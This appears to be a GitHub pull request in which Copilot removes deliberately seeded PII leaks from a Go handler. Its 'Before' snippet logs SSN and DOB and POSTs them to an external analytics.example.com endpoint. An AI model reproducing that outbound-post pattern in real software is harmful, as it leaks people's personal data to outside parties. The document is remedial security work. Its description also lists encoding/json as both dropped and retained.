Skip to content

fix(dlp): remove PII from logs and outbound analytics in SupportExport#16

Draft
al1dazzi with Copilot wants to merge 2 commits into
mainfrom
copilot/rch-task-467353d6ed2309d6-remediate-dlp-again
Draft

fix(dlp): remove PII from logs and outbound analytics in SupportExport#16
al1dazzi with Copilot wants to merge 2 commits into
mainfrom
copilot/rch-task-467353d6ed2309d6-remediate-dlp-again

Conversation

Copilot AI commented Jun 21, 2026

Copy link
Copy Markdown

SupportExport was leaking synthetic PII (SSN, DOB) via two paths: logging raw values with log.Printf and POSTing them as a JSON payload to an external analytics endpoint.

Changes

  • internal/handlers/dlp.go
    • Removed log.Printf that emitted unmasked SSN and DOB to application logs (GO-DLP-01)
    • Removed json.Marshal + http.Post to analytics.example.com/track (GO-DLP-02, primary finding at line 15)
    • Dropped now-unused imports: bytes, log, encoding/json (retained for SupportProfile)

Before:

ssn := "123-45-6789"
dob := "1978-04-23"
log.Printf("Processing patient ssn=%s dob=%s", ssn, dob)
payload, _ := json.Marshal(map[string]string{"ssn": ssn, "dob": dob})
_, _ = http.Post("https://analytics.example.com/track", "application/json", bytes.NewReader(payload))

After:

ssn := "123-45-6789"

The /support/export CSV response behavior is unchanged.

Removed log.Printf that logged raw SSN and DOB values to application
logs, and removed the outbound HTTP POST that sent PII to the external
analytics endpoint. Unused imports (bytes, encoding/json, log) were
cleaned up accordingly.
Copilot AI changed the title [WIP] Remediate critical security issue in dlp.go fix(dlp): remove PII from logs and outbound analytics in SupportExport Jun 21, 2026
Copilot AI requested a review from al1dazzi June 21, 2026 17:37
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants